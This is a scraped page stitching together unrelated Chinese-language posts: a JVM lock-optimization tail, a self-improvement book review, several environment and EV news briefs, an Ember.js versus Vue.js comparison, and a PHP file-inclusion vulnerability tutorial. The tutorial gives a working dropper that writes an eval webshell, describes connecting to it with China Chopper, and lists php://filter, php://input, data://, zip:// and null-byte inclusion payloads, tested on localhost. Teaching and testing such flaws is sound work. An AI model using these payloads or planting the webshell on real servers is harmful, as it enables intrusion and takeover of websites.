這個圖,基本就說了七七八八了。我就不再深入闡述了。

注意一點,輕量級鎖降級,不會降級為偏向鎖,而是直接降級為無鎖狀態

重量級鎖,就不用我說了。要麼上鎖,要麼沒有鎖。

鎖的優化

鎖的優化,包括自旋鎖,自適應自旋鎖,鎖消除,鎖粗化。

自旋鎖(multiple core CPU)

  • 許多情況下,共享數據的鎖定狀態持續時間較短,切換線程不值得(也許切換線程的資源消耗就超過了共享數據的鎖定持續時間帶來的資源消耗)。
  • 通過線程執行忙循環等待鎖的釋放,不讓出CPU。
  • 缺點:若鎖被其它線程長時間佔用,會帶來許多性能上的開銷。
  • 自旋的等待時間是有限制的(其中忙循環的循環次數是存在默認值的)。
  • Hotspot可通過PreBlockSpin參數,修改默認旋轉次數。

自適應自旋鎖

  • 自旋的次數難以把握,難以完美。
  • 自旋的次數不再固定(可能為零)。
  • 由前一次在同一個鎖上的自旋時間及鎖的擁有者的狀態來決定。
  • 舉例:同一個鎖對象上,自旋等待剛剛成功獲取過鎖,並且持有鎖的線程正在運行=》JVM認為該鎖自旋獲得鎖的可能性大。

鎖消除

JIT(Just In Time)編譯時,對運行上下文進行掃描,去除不可能存在競爭的鎖。

JIT(Hotspot Code):

  • 運行頻繁的代碼,將會進行編譯,轉換為機器碼。
  • JIT編譯是以method為單位的。

鎖粗化

通過擴大加鎖的範圍,避免反覆加鎖和解鎖。

總結

刨除代碼,這篇文章在已發表的文章中,應該是我花的時間最長,手打內容最多的文章了。

從開始編寫,到編寫完成,前前後后,橫跨兩個月。當然主要也是因為這段時間太忙了,沒空進行博客的編寫。

在編寫這篇博客的過程中,我自己也收穫很多,將許多原先自己認為自己懂的內容糾正了出來,也將自己對JVM的認識深度,再推進一層。

最後,願與諸君共進步

參考資料

《深入理解Java虛擬機》

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!

讀《阿里工程師的自我修養》我學到這幾點

 

 

一個月之前瀏覽博客園時發現了這本《阿里工程師的自我修養》,被裡面的其中一個叫做時間管理三八理論吸引到。花了兩個星期看完這本書。看完之後覺得有種豁然開朗的感覺,恰逢自己工作兩年,結合自己兩年以來的工作感受認真思索書中所講到的經驗,覺得有一些內容還是值得記錄下來的。於是趁這個機會總結一下書里我覺得精華的內容,對自己的兩年工作做一個回顧總結,同時按照書中所介紹的一些技巧升級自己的技能。

 

結構化思維

結構化思維 = 邏輯 + 套路

邏輯

四種組織思想的邏輯關係:

1. 因果順序: 大前提,小前提,結論。

2. 步驟順序:第一、第二、第三。首先、然後,再者,最後等。

3. 結構順序:前端,後端,數據。中國,美國,瑞士等。化整為零。

4. 程度順序:最重要,次重要,不重要。

實際上,所有的邏輯關係都在這四種順序之內,只要我們的思想和表達在這四種邏輯順序之內,就是有邏輯的,否則就會顯得沒有邏輯性。

套路

套路是指我們解決問題的方法論。使用合適的方法去解決遇到的問題。如
SWOT分析法
麥肯錫7步分析法
金字塔原理
5w2h分析法

結構化思考的方式:

 1. 建立中心目標
 2. 結構化分析
確定完中心之後,我們需要構建一個結構,使用結構化的思維對問題進行分解。分解的策略就是我們上文提到的四種邏輯順序,即演繹順序,時間順序,空間順序和程度順序。

做分解的時要滿足 MECE原則,即相互獨立,完全窮盡。

個人感悟:

想要提高自己的能力,需要懂得一些解決問題的套路。我一直以為套路就是一種經驗,面對難題時先如何,再如何,分幾步走,做到自己心中有數,這就是套路。一個初出茅廬的學生可以做事毫無頭緒,但作為一個工作兩年的老鳥,做事應該有一些最基本的套路,哪怕是一個最簡單的先搞清楚問題是什麼再動手,這也是一個好套路。做一個開發,需要做的是先思考再寫代碼。面對一個新的功能時思考設計的時間不應該低於20%,思考的時間越多bug越少。

 

如何在工作中快速成長,致工程師的10個技巧

時間管理三八理論

每個人每天公平的擁有24個小時,第一個8小時用於睡覺;第二個8小時用於工作;第三個8小時用於自由支配。
人與人的差距主要由第三個8小時決定的。第三個8小時用於消費,交易還是投資有着非常大的人生差別。

個人感悟:

記得有人說過體現一個人差距的是工作之後的時間。利用工作之餘時間繼續學習的人一定能夠成長的更快。目前所在的工作單位是事業單位的編製,朝九晚五的工作時間讓我覺得這不是程序員該有的工作節奏,所以更應該珍惜好業餘的時間多學習東西才能不遊走於技術的海平面以下。”力盡不知熱 但惜夏日長“,這是我的微信簽名,出至於白居易的《觀刈麥》,农民在炎熱的夏天割麥子精疲力竭但不覺酷熱,只是珍惜夏日天長。我又何嘗不是一個IT农民工呢?每天超長待機寫代碼寫到暈沉沉,還怕自己沒有學到東西。夏天真的好快就過去了,秋天轉眼就在眼前。沒有在夏天珍惜時間,秋天註定不會有收穫。

 

貴人相助

很多時候我們會覺得身邊缺少貴人,或者貴人離自己太遠。產生這種認知離不開4個方面:

1. 自己不自信,不相信自己能夠影響他人,導致缺乏主要溝通,長期溝通。

2. 自己心態問題,自己的心態若不夠积極正向,沒有貴人敢進入你的思維空間,因為價值不匹配,很難形成認知共識。

3. 職場原因,很多時候可能你的老闆就是你的貴人,但是因為職場,因為上下級,礙於面子,礙於共組,不敢多交流,多請教。

4. 貴人來了又走了,有貴人幫你改變,但是你自己不努力,抱着過去做事的心態和方法在職場上浪跡天涯,進步不明顯,否定了他作為貴人的價值和意義。

你求助時被人之所以願意幫你,是因為他已經看到了你的價值,這種價值幫助他確定了自己的價值,或者未來你可以幫助他。

 

個人感悟:

是否在生活中遇到過貴人呢?在這一點上我覺得我還是遇到過的,讀大學時遇到一個打球好又有耐心的球友,後來跟着他學習了兩年,球技有明顯的提高。現在想想別人為什麼願意教我打球呢?第一是因為我對打球有熱情有興趣,第二我按照他交給我的技巧打球水平有明顯的提升。後來他覺的自己有教球方面的經驗就去開了一個球館。所以說貴人幫助可能是一個互利的過程。個人覺得遇到貴人不是一件很難的事情,如果你不是一個羞澀的人。在某一方面上能夠幫助到你,對於大部分人來說還是願意幫你的,只要你態度謙虛,沒有什麼原則上問題。

 

如果我是一線主管

主管大部分時間都很忙,這就要求下屬在向上管理的時候尤其要注意高效,有質量的溝通。如果我是一線主管,我更希望團隊和我交流的方式是讓我做選擇題、判斷題,而不是問答題,思考題。
如果我是一線主管,我希望下屬這樣幫助我:

1. 主動承擔團隊面臨的挑戰,給出合理的解決方案

2. 及時向我反饋經過整理的信息和數據,甚至是結論,輔助決策

3. 主動關心同事,組織學習,幫助大家進步成長

 

團隊的人可能也有集中特徵:

1. 能力強,在某領域是專家

2. 能力一般,有潛力,但是非常有积極性

3. 能力一般,主動性一般

重要&緊急的事情只能交給能力強的人去做,意願上如果有問題也要說服對方去做,因人成事,可見能力強有多重要。

重要不緊急的事情就可以借事修人,如果做得好,這個人以後就有信心了,做的不好也有能力強的人給保底,不會造成業務問題。

技術想法也可以交給有积極性的人做,這必然會佔用一些時間,那麼這個人手頭上的無關痛癢的只好交給能力一般,主動性一般的人來做。

個人感悟:

不是每個人在工作中都是領導,但一定做過別的學長,師兄。在面對學弟學妹時是不是會覺得有些學弟辦事又快又好,而有些學弟什麼事情都要吩咐他才會去做,甚至告訴他方法也做不好。學長有時就是一個領導角色,學弟按要求將布置的任務完成,就覺得這個可以了,再有餘力可以主動承擔一些擅長的任務,就覺得用起來順手,下次有事找他,有好處也找他。我覺得最好的狀態是在工作之餘改善工作中一些複雜的操作繁瑣的步驟;給整個團隊帶來一些流程上的簡化,增加開發的效率;開發小工具能有效解決某些問題。工作之餘能夠在為團隊付出一些時間,領導應該能看的到。

 

 另外在本書中還看到了一些很優秀的PPT,不會做PPT的開發不是一個好銷售,當然這句話搞笑的很純粹,但是下面的這些PPT確實讓我覺得眼前一亮,顏色搭配,圖形搭配,樸素之中掩蓋不住的一種大氣之感。不尬吹了,直接上圖~

 

 

 

 

 

 

 

 

 

 

 

 

         

 

 

 

 

 

 

 

 

 

 

 

 

 

  

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

天燈惹禍!德國動物園失火 30多隻動物慘被燒死

摘錄自2020年1月2日聯合報德國報導

德國警方表示,一間動物園的猿猴館在跨年夜發生大火,導致30多隻動物死亡,懷疑是天燈惹的禍。

德新社報導,這場大火燒毀克雷菲爾德動物園(Krefeld Zoo)的猿猴館,約30多隻動物命喪火窟,包括黑猩猩、紅毛猩猩、兩隻年長大猩猩,只有兩隻黑猩猩獲救。火災也導致狐蝠和鳥類死亡。

克雷菲爾德動物園距離杜塞道夫約15公里,1日和2日不對外開放。警方懷疑可能是跨年夜當晚,有人放天燈才導致大火,並在該地區發現一些類似的天燈。

調查人員霍普曼(Gerd Hoppmann)說,天燈相當危險,可能會飛行超過一公里。另外,也呼籲在該地區放天燈的人自首。

德國之聲報導,天燈導致幾起死亡火災後,德國北萊茵-西發利亞邦2009年起禁止放天燈。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!

瞄準中國市場 特斯拉 Model X 明年攻陸開賣

美國豪華電動車製造商特斯拉 (Tesla) 電動運動休旅車 Model X 本季正式在美國發表後,預計 2016 年上半年就會進軍中國。   特斯拉北京分部發言人 Gary Tao 在接受專訪時透露了上述訊息,還宣稱特斯拉今年底前要在中國加開 5 至 6 個全新展示間,預計展示車輛的據點有望增加至 15 處,展示新車的位置會在北京、上海、廣州等重點城市。     

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!

Ember.js和Vue.js對比,哪個框架更優秀?

本文由葡萄城技術團隊於博客園翻譯並首發

轉載請註明出處:,葡萄城為開發者提供專業的開發工具、解決方案和服務,賦能開發者。

JavaScript最初是為Web應用程序創建的。但是隨着前端技術的發展,大多數開發人員更喜歡使用基於JavaScript的框架。它簡化了你的代碼以及使你能完成更多全棧工作,您幾乎可以在任何框架中使用JavaScript。

使用什麼類型的框架決定了創建應用程序的便捷程度。因此,您必須慎重選擇。在已經足夠複雜的前端環境里,其中兩個框架脫穎而出。我們會在本文中對Ember.js和Vue.js之間進行對比,以幫助你更好的做出判斷。

為什麼要選擇框架?

在開始比較這兩個框架之前,我們應該先來了解下選擇一個框架的決定因素都有什麼。每個開發人員選擇一個框架之前,讓我們看看選擇的理由。

  • 代碼必須簡單易懂。
  • 應以更少的代碼量產出更多的功能。
  • 應提供一個布局合理的工作框架。
  • 是否支持內置路由或外部插件的路由?
  • 應該能夠在頁面加載時傳輸更多數據,從而使頁面成為單頁應用,單頁應用程序使用體驗顯然更好。
  • 在單頁架構中,如果用戶需要共享應用子頁面鏈接,那麼框架應該具有基於URL路由不同功能的能力。
  • 更嚴格的模板選項有助於實現雙向綁定。
  • 不應與任何第三方庫產生衝突。
  • 應該很容易測試框架內的代碼。
  • 應為Ajax調用提供HTTP客戶端服務
  • 文檔也必不可少,應該是完整且最新。
  • 應該與瀏覽器的最新版本兼容。
  • 必須滿足上述條件,便於APP的構建。您必須確保所選擇的框架符合條件。

Vue.js

開發人員總是在尋找新的框架來構建他們的應用程序。主要要求是速度快、成本低。這個框架應該很容易被新開發人員理解並且能夠以更低的成本使用。其他考慮選項還有簡單的編碼方式、健全的幫助文檔等。

在Web應用程序開發中,VUEJS在軟件語言方面結合了很多優點。VUE.JS的體繫結構易於使用。使用VUE.JS開發的應用程序很容易與新的應用程序集成。

VUE.JS是一個非常輕量級的框架。你能很快的下載到它。它也比其他框架快得多。該框架的單文件組件性質也很棒。這個尺寸使它很受歡迎。

同時你可以進一步減少它的體積。使用Vue.js可以將模板和編譯器分離為虛擬DOM。您只能部署只有12 KB的壓縮后的壓縮解釋器。您可以在您的機器中編譯模板。

Vue.js的另一個重要優點是它可以輕鬆地與使用JavaScript創建的現有應用程序集成。使用此框架可以輕鬆地對已經存在的應用程序進行更改。

Vue.js還可輕鬆與其他前端庫集成。您可以插入另一個庫,以彌補此框架中的任何不足。此功能使該工具成為通用工具。

Vue.js使用服務器端渲染流的方法。它使服務器具有較高的響應速度。 你的用戶將很快獲得渲染的內容。

Vue.js非常適合SEO。由於該框架支持服務器端渲染,因此視圖直接在服務器上渲染。便於搜索引擎直接索引到這些網頁內容。

但對你來說最重要的是你可以輕鬆地學習Vue.js。該結構是基本的。即使是新的開發人員,也會發現使用它來構建應用程序很容易。該框架有助於開發大型和小型模板。它有助於節省大量時間。

您可以返回並輕鬆檢查錯誤。除了測試組件外,您還可以返回並檢查所有狀態。就任何開發人員而言,這是另一個重要功能。

Vue.js也有非常詳細的文檔。它有助於為你快速上手開發應用程序。您可以使用HTML或JavaScript的基本知識來構建網頁或應用。

  • Vue.js它能與其他應用程序集成
  • Vue.js輕巧且快速。通過部署解釋器,就可以使它更輕量
  • 您可以將編譯器和模板分離為虛擬DOM。
  • 得益於便於集成的優點,您可以使用它來對現有應用進行更改
  • 豐富的庫和組件為你的應用程序帶來更多可能
  • 應用能夠快速響應。
  • 服務器端渲染還有助於使搜索引擎排名更高。
  • 結構簡單。易於任何新開發者使用
  • 您可以返回檢查並更正錯誤。
  • 您可以檢查所有現有狀態。
  • 詳細的文檔有助於快速構建網頁或應用程序。

Ember.js

Ember.js是MVVM模型框架。它是開源軟件。該平台主要用於創建複雜的多頁面應用程序。它保持最新的特性,並不會丟棄任何舊功能。

通過這個框架,您必須嚴格遵循框架的體繫結構。JS框架是非常嚴密的組織。所以它降低了和其他框架可能提供的靈活性。

它的平台和工具有非常完善的控制系統。您可以使用提供的工具將其與新版本集成,以避免使用過時的API。

您可以輕鬆了解Ember的API。他們也很容易工作。您可以簡單,直接地使用高度複雜的功能。

當類似的工作一起處理時,性能更好。它創建了相似的綁定和DOM更新,讓瀏覽器一次性處理它們,以提高性能。這樣則將避免為每個工作重複計算,以免浪費大量時間。

因為Promise無處不在,所以你可以以簡單的方式編寫代碼和模塊,使用 Ember 的任何 API。

同時Ember也有一個很不錯的上手指南。上面記錄著API的使用方式。Ember明確了一般應用程序的組織和結構,因此你將不會犯任何錯誤。你將不可能在不必要的情況下使程序複雜化。Ember的模板語言是Handlebar,Handlebar簡潔的語法可以使你可以輕鬆閱讀和理解模板,同樣的也能使頁面加載速度變得更快。使用Handlebar另一個優勢是,不必每次在頁面上添加或刪除數據時都更新模板。語言本身將自動為你完成。

最後,Ember.js擁有一個活躍的社區,可以定期更新框架並從而促進向後兼容

  • Ember.js是適用於複雜結構的多頁應用程序的MVVM模型開源框架。
  • 同時提供了最新功能和舊的功能。
  • 它有一個非常嚴密的結構框架,不能提供太高的靈活性
  • 非常完善的控制系統可幫助你與新版本完美集成。
  • 對避免使用過時的API版本有着嚴格的指導。
  • Ember的API可幫助您以簡單的方式使用複雜的功能
  • 該框架提供高效的運算機制,以保證運行效率
  • Promise可讓你使用Ember.js的任何API來編寫模塊化和簡單的代碼。
  • Ember.js是一個完全加載的前端框架。
  • 框架穩定,因為所有組件都具有相同的功能和屬性。
  • 具有明確定義的限制,可防止您使應用程序複雜化
  • Handlebar使你可以輕鬆閱讀和理解模板。並且還有助於更快地加載模板。
  • 每次添加或刪除數據時,Handlebar將確保更新模板。
  • Ember.js有一個活躍的社區,可以定期更新框架並從而促進向後兼容。

Ember.js Vue.js對比

當你需要將原有應用程序向現代框架上遷移時,Vue.js可以為您提供幫助。它結合了其他框架的許多優點。Vue.js面向開發過程的框架,所以沒有提供現成的界面元素庫。但是,許多第三方社區庫可以為您提供幫助。

Ember.js為您提供了一個值得信賴的成熟框架。當你的開發團隊規模很大時,這個框架比較合適。由於MVVM結構所致,它使每個人都可以為項目做出貢獻。

Vue.js可以幫助你兼容應用程序中不同類型的語法,它有助於輕鬆編寫代碼,同時由於後端渲染,它也是一個對SEO友好的框架。而Ember是一個完全加載的前端框架,可以幫助您非常快速地開發應用程序。但是它不適合開發小型項目。

很難說誰比誰更具優勢。選擇哪個框架將取決於你實際參与的項目類型是什麼。兩者都有其優缺點,所以我為大家總結了一張表,也許它能幫助你更好地進行對比:

 

總結

選擇什麼,取決於您要開發的應用程序。這兩個框架都在發展中。兩者也都在更新。

雖然Ember是一個全棧框架,但它太複雜了,很難應用於較小的項目。而Vue.js憑藉著輕盈的體量,易於上手的特點,使開發應用程序變得異常高效,從而獲得了不少行業的開發者的青睞。

此外,無論選擇什麼類型的框架,葡萄城都為廣大開發者提供了兼容各類框架的開發組件,例如:和 ,為開發者賦能。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!

文件包含漏洞原理淺探

文件包含漏洞原理淺探

By : Mirror王宇陽

E-mail : mirrorwangyuyang@gmail.com

聯繫方式: 2821319009 (QQ)

個人主頁: https://www.cnblogs.com/wangyuyang1016/

文件包含

文件包含是指一個文件裡面包含另外一個文件;開發過程中,重複使用的函數會寫入單獨的文件中,需要使用該函數的時候直接從程序中調用該文件即可,這一個過程就是“文件包含”

由於文件包含的功能特性,導致客戶端可以調用一個惡意文件,進行動態調用

PHP文件包含

PHP提供了四個文件包含函數提供的功能強大且靈活多變,經常存在文件包含函數

危險包含函數(PHP)

include()

無法查到被包含的文件時產生錯誤”E_COMPLE_ERROR”停止運行

include_once()

和前者一樣,如果文件中的代碼已經包含了,則不再會包含

require()

無法查到被包含的文件是產生警告”E_WARNING”繼續運行

require_once()

和前者一樣,無法查到被包含的文件是產生警告”E_WARNING”繼續運行

文件包含實例

開發演示

<?php
    include("ArrayUtil.php"); //利用include函數包含
    $arr = array("sougou","google","yahoo","baidu","FackBook");
    PrintArr($arr);
?>
<?php
    function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){
        foreach ($arr as $key => $value) {
            echo "$key $sp $value $lin";
        }
    }
?>

在index.php文件中使用include函數文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函數;在index.php第4行我們調用了PrintArr()函數。

使用瀏覽器訪問index.php

漏洞演示(本地執行)

<?php
    include("phpinfo.txt");
?>
<?php
    phpinfo();
?>

喏!一個txt文件被成功包含了;筆者測試了其它各種服務器可接受的文件格式,均實驗成功!由此筆者得到的論證是:include()函數包含的任何文件都會以PHP文件解析,但前提是文件的內容符合PHP代碼規範;若內容不符合PHP代碼規範則會在頁面暴露文件內容(這是重點)

漏洞演示(遠程執行)

PHP不單單可以在服務端(本地)執行文件包含,也可以遠程執行文件包含;

遠程的文件包含執行需要修改PHP.ini配置文件(php默認關閉遠程包含文件)

allow_url_include = on

由於我們不具備遠程條件,只好本地搭建環境將就一下哈!!!

D:\phpStudy\phpinfo.txt

<?php
    phpinfo();
?>

127.0.0.1/index.php

<?php
    include("D:\phpStudy\phpinfo.txt");
?>

換一個方法

這裏的URL參數值提交的只是一個遠程包含文件的URL地址;遠程文件包含和本地文件包含的解析方法一樣,只要符合PHP代碼規範就可以按照PHP代碼解析執行。

如果我們包含的文件不存在,則會發生Error,網站的路徑就會暴露!

PHP文件包含漏洞基本利用

讀取敏感文件

構造類似http://127.0.0.1/?url=.\phpinfo.txt

喏!我們看見了文本內容,為什麼呢?

因為include()函數會執行文件包含,不管是什麼格式的文件只要符合PHP代碼規範的內容就會按照PHP解析;而不符合PHP代碼規範的則會直接輸出文件內容。

綜合特性:利用該特性包含文件的方法,訪問本地的其它文件均會執行php解析或者回顯文本的內容;尤其是系統敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路徑則需要結合其它姿勢來獲得(例如上面利用error回顯的方式)

重要的一點:得具有文件的操作權限哦

遠程包含Shell

遠程包含文本的條件是 allow_url_fopen= on

創建shell.txt(功能:在服務端本地創建一句話木馬腳本)

<?php
    $key= ("<?php @eval(\$_POST['mirror']);?>");//$符號需要轉義要按字符存
    $file = fopen("shell.php","w");
    fwrite($file, $key);
    fclose($file);
?>

構造:http://127.0.0.1/?url=..\xx\shell.txt

遠程包含文本執行成功后,服務端本地會創建一個”shell.php”一句話木馬執行文件

shell.php創建后,使用“菜刀”連接一句話:

喏!包含執行文件創建本地一個shell.php一句話木馬,然後菜刀連木馬!一梭子搞定!

文件包含配合上傳

利用web應用的上傳功能,上傳一張偽木馬圖片,然後利用文件包含執行已上傳的圖片,然後偽木馬圖片的功能就是被包含執行后在服務端本地創建一個木馬執行php文件

PHP封裝協議利用

PHP內置很多的,封裝協議的功能和文件函數(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默認開啟 該選項為on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。

allow_url_include:off 默認關閉,該選項為on便是允許 包含URL 對象文件等

考慮安全都是全部關閉

【引用官方文檔】

  • — 訪問本地文件系統
  • — 訪問 HTTP(s) 網址
  • — 訪問 FTP(s) URLs
  • — 數據(RFC 2397)
  • — 查找匹配的文件路徑模式
  • — PHP 歸檔
  • — Secure Shell 2
  • — RAR
  • — 音頻流
  • — 處理交互式的流
file://協議:

訪問本地文件系統

file://[本地文件的絕對路徑和文件名]

訪問各個IO流

需要開啟 allow_url_include: on

  • php://stdin:直接訪問PHP進程相應的輸入或輸出流(只讀)

  • php://stdout:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://stderr:直接訪問PHP進程相應的輸入或輸出流(只寫)

  • php://filter:進行任意文件讀取的利用

  • php://input:訪問請求的原始數據的只讀流,將post請求中的數據作為php解析

  • php://output:只寫的數據流,允許print和echo方式寫入到輸出緩存中

  • php://fd: 允許直接訪問指定的文件描述符

    更多詳細可以參考官方php://協議文檔

zip://協議:

(zip:// , bzip2:// , zlib:// )屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名

zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]

注意 井字符號 ’ # ‘ 在url中需要轉為 %23

allow_utl_include= On

data://text/plain;base64,[string_base64加密后]

查詢匹配的文件路徑模式

glob://[url]
<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 並打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

處理交互式數據流(默認未開啟,需要安裝PECL—Expect擴展)

expect://command

參見文章

讀取PHP文件

利用file://讀取文件內容

file://[本地文件的絕對路徑和文件名]

利用php://filter讀取php文件內容

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

這裏的結果是經過Base64加密的

寫入PHP文件
利用php://input:

使用php://input可以執行PHP語句,但是受限於allow_utl_include= On

url text:

http://127.0.0.1/index.php/?url=php://input

Post data:

<?php phpinfo();?>

喏!利用“php://input”執行php代碼”post data數據內容“,這裏只是回顯phpinfo(),如果我們利用php://input執行服務端本地創建php一句話木馬文件,後果可想而知

利用data://:

受限於allow_utl_include= Onphp.ini配置

?file=[data://text/plain;base64,[base64編碼加密的payload)]

注意沒有php閉合標籤

利用zip://:
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php

總結

上面這張圖是筆者從FREEBUF漏斗社區的文章中copy來的,算是一個不錯的總結^_^

截斷包含

magic_quotes_gpc = off函數為Off狀態才可以使用,因為在On狀態下%00會被轉義導致無法截斷;https://www.cnblogs.com/timelesszhuang/p/3726736.html

PHP6/7關閉了magic_quotes_gpc函數:

文件包含的漏洞修復,尤其是include()相關文件包含函數,只要限制後綴名就好了?

<?php
    if(iset($_GET['url'])){
            include $_GET['url'].".php";
    } else{
        include 'home.php';
    }
?>

上述程序就是固定限制後綴名,用戶只需要指明文件名就可以,不需要用戶提交後綴名

現在我們利用之前的包含手段,包含”shell.php”文件

http://127.0.0.1/index.php/?url=shell.php

由於程序固定了文件後綴格式,於是在後台會構成

shell.php.php

include()無法查找到“shell.php.php”,故此導致報錯

採用字節截斷

http://127.0.0.1/index.php/?url=shell.php%00

PHP5.2+的版本漸漸的都修復了字節截斷,所以很少有利用了

筆者不做過多的細節說明^_^

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

越南向寮國購電 盼解缺電隱憂

摘錄自2020年1月6日中央社河內報導

越南電力集團(EVN)4日與寮國供電業者簽署5項購電合同,預計2021年起將從寮國進口數十億度電,希望解決國內缺電隱憂。

越南近年來經濟發展迅速,現今隨著美中貿易戰而掀起外商轉向越南投資的浪潮,加上經濟發展依賴能源密集的製造業,使境內電力需求量日益增加。

越南正面臨兩項潛在的能源危機。一是發電能量不足,二是中國對越南鑽探離岸石油及天然氣的動作強力施壓。

越南工商部表示,2021年起越南恐將嚴重缺電,因為建設新電廠的速率趕不上電力需求增長。缺電可能使外資卻步,對從美中貿易戰受惠最多的越南形成不小隱憂,電力需求將於2021年超出供給,因為許多越南能源計畫延宕而使2021至2025年間缺電情況最嚴重,每年缺口可達70億至80億度或千瓦小時(kWh)。

「民智報」網站6日報導,越南電力集團與寮國Phongsubthavy和Chealun Sekong兩家供電集團簽署電力銷售合同,向由這2家集團運作的5個水力發電廠購買電力,其中寮國2號南空水力發電廠(Nam Kong 2)自2021年開始每年向越南出口2.631億度,其餘4個發電廠2022年起每年向越南輸送2.04億至4.2774億度。

越南2019年電力需求量為2400億度,與2018年同期相較,增加8.9%;預計今年電力需求量增至2620億度。

 

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!

川普政府新規 傳新建設環評無須再考量氣候衝擊

摘錄自2020年1月7日中央社華盛頓報導

消息人士表示,根據美國川普政府將於8日提出的新規定,往後美國公路與油管等大型計畫的環評,無須再考量「經年累月的」氣候衝擊。

這項政策大轉變,將要求聯邦機構落實「國家環境政策法」(NEPA)的作法有所改變。國家環境政策法旨在確保政府檢討造橋鋪路、砍樹伐林、批准「基石XL」(Keystone XL)跨州油管等計畫,或對計畫做出決策時,能確實保護環境。

這將是40年來,負責協調美國聯邦機構與其他白宮辦公室環保努力的白宮環境品質委員會(White House Council on Environmental Quality)首次做出規定上的變更。

白宮環境品質委員會負責監督近80個政府機關是否遵守國家環境政策法規範。

消息人士還說,預料白宮環境品質委員會將對會啟動嚴格環評的計畫限制規模、增加可被排除在國家環境政策法環評之外的計畫類別,並允許公司或計畫開發者自行進行環評。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

※自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

南投搬家前需注意的眉眉角角,別等搬了再說!

昶洧純電動原型車 將於法蘭克福車展亮相

  宣稱性能可媲美特斯拉的台灣品牌純電動車,由昶洧設計製造的 Thunder Power 品牌,即將現身今年德國法蘭克福車展。   自許在研發「四輪電腦」的昶洧,純電動車選定在今年德國法蘭克福車展曝光,展出車款 5-passenger RWD sedan 的設計,是以「Timeless『Zen』,Simple、Concise、Flexible but Sharp」永恆禪風、極簡、精煉、靈活敏銳為核心精神。   昶洧電動車除 Zagato 負責造型設計及擬具整車開發計畫的評估報告外,還與歐洲、BOSCH、Dallara、CSI 等名車設計工程公司,進行技術開發,共同打造。   昶洧表示,原型車目前已可達到只需充電 30 分鐘即可行駛 200 公里以上,充飽電至少可行駛 700 公里,及車身平台及模組化平台的概念,未來一系列車型包括轎車、運動休旅車(SUV)、跨界休旅車(Crossover)、中小型房車(Compact)都可共用車身平台。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家費用,距離,噸數怎麼算?達人教你簡易估價知識!

